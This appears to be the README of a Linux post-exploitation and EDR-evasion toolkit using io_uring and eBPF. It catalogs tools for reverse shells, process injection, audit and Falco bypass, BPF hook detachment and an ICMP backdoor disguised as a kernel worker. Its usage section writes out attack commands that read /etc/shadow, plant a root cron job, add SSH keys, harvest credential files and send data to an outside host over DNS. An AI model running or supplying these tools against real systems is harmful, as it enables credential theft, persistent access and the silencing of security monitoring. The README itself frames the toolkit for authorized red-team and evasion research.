
Post-exploitation and evasion research toolkit for Linux.
Post-exploitation and evasion research toolkit for Linux, built around io_uring and eBPF. No liburing, no frameworks, raw syscalls throughout.
More tools soon. PRs are welcome. π§π·
Join in Rootkit Researchers
For authorized research and red team engagements only. Don't run this on systems you don't own.
Furtex/
βββ io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
βββ bpf/ BPF map and program tooling (15 tools)
βββ ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
βββ edrs/ EDR evasion and post-exploitation (75 tools)
βββ techniques/ Falco-specific bypass, all 25 default rules (13 tools)
Toolchain
| tool | needed for |
|---|---|
gcc | all userspace binaries |
clang | ebpf/*.bpf.c BPF-side programs |
make | build system |
Headers and libraries
| package | needed for |
|---|---|
linux-headers-$(uname -r) | <linux/bpf.h>, <linux/io_uring.h> and related kernel headers |
libbpf-dev | <bpf/bpf_helpers.h> and friends used in ebpf/ programs |
bpftool | generate vmlinux.h via make vmlinux inside ebpf/ |
On Debian/Kali/Ubuntu:
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Kernel versions
| minimum | what it unlocks |
|---|---|
| 5.4 | io_uring base (IORING_FEAT_SINGLE_MMAP, BPF map iteration) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON split (replaces CAP_SYS_ADMIN for BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Capabilities
| capability | tools that require it |
|---|---|
CAP_BPF (or CAP_SYS_ADMIN pre-5.8) | all bpf/ tools, ebpf/ loaders |
CAP_PERFMON | ebpf/ tracepoint and kprobe programs |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
BTF must be enabled in the kernel (CONFIG_DEBUG_INFO_BTF=y) to run make vmlinux for ebpf/ programs.
On distros with older libc-dev headers (Ubuntu 22.04 etc.) you may need #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Already handled in this repo.
| command | builds |
|---|---|
make all | everything |
make uring | io_uring/ only |
make bpf | bpf/ userspace tools |
make ebpf | BPF-side programs (needs clang + libbpf) |
make edrs | all edrs/ binaries |
make techniques | Falco bypass tools |
make clean | remove all binaries |
edrs/ has its own sub-Makefile with ~75 binaries split by privilege:
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
See PRIVILEGES.md for the full breakdown.
io_uring SQEs go through the kernel workqueue. io_uring_enter(2) never calls through sys_call_table, never fires sys_enter_* tracepoints, and never hits livepatch on native_sys_call. That alone kills a large class of EDR hooks without touching anything.
What io_uring bypasses on its own:
| hook point | note |
|---|---|
sys_call_table pointer replacement | io_uring never goes through the syscall table |
livepatch on native_sys_call / compat_sys_call | same reason |
sys_enter_* tracepoints | workqueue path, no tracepoint fires |
What io_uring does NOT bypass on its own (needs an active tool):
| hook point | tool | what the tool does |
|---|---|---|
kprobes on vfs_read, security_file_open, etc. | ftrace_enum | removes the kprobe hooks |
| BPF LSM / KRSI | bpf_link_detach | detaches the BPF link |
| Linux audit | audit_kill | disables auditd via NETLINK_AUDIT |
| LD_PRELOAD / PLT-GOT patches | plt_unhook | removes the userland hooks |
| netfilter OUTPUT / conntrack | af_packet_shell | uses AF_PACKET at layer 2, skips netfilter |
inet_stream_connect hooks | udp_shell | uses UDP, never calls tcp connect path |
iouring_utils.h handles ring setup without liburing.
| binary | what it does |
|---|---|
file_read | OPENAT+READ+CLOSE chain via io_uring, no sys_enter_read event |
file_write | OPENAT+WRITE+CLOSE chain |
file_append | same as file_write but O_APPEND, offset -1 |
net_connect | SOCKET+CONNECT+SEND+RECV in one ring |
net_reverse_shell | reverse shell over io_uring CONNECT |
multifile_read | up to 64 files in one SQE batch |
memfd_exec | stream ELF via stdin into memfd, execve via /proc/self/fd |
proc_inject | JIT injection via /proc/PID/mem; ptrace injection (--ptrace flag) |
pipe_splice | SPLICE kernel-to-kernel, userspace hooks never see bytes |
inotify_bypass_watch | io_uring READ does not raise IN_ACCESS/IN_OPEN |
dns_exfil | hex-encode data as DNS query labels over io_uring SENDMSG |
af_packet_send | raw Ethernet via AF_PACKET (IORING_OP_SOCKET, bypasses inet path) |
xdp_socket_send | raw frame via AF_XDP + UMEM ring, bypasses netfilter entirely |
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
Most tools require CAP_BPF. env_exfil works unprivileged. icmp_trigger requires CAP_NET_RAW instead of CAP_BPF.
| binary | what it does |
|---|---|
map_recon | list all loaded BPF maps |
map_dumper | dump map contents by ID |
map_write | update map entries by ID |
map_poison | zero Falco's interesting_sys entries around a payload |
prog_recon | list BPF programs: type, name, map count |
pid_allowlist | insert PID into an EDR allowlist map |
edr_fin | score loaded BPF maps/programs against known EDR heuristics |
lsm_check | detect active BPF LSM hooks and test if map writes are blocked |
bpf_persist | pin/retrieve/unpin maps and programs on bpffs |
map_snapshot | save and restore map contents to a binary file |
env_exfil | read /proc/*/environ for secrets |
bpf_link_detach | enumerate and detach BPF links (removes LSM hooks) |
link_update | redirect a BPF link to a no-op program (hook stays visible, fires nothing) |
map_freeze | freeze a BPF map read-only via BPF_MAP_FREEZE (writes return -EPERM) |
icmp_trigger | ICMP magic-packet backdoor; spawns reverse shell via socketpair relay; masquerades as kworker/u4:2 |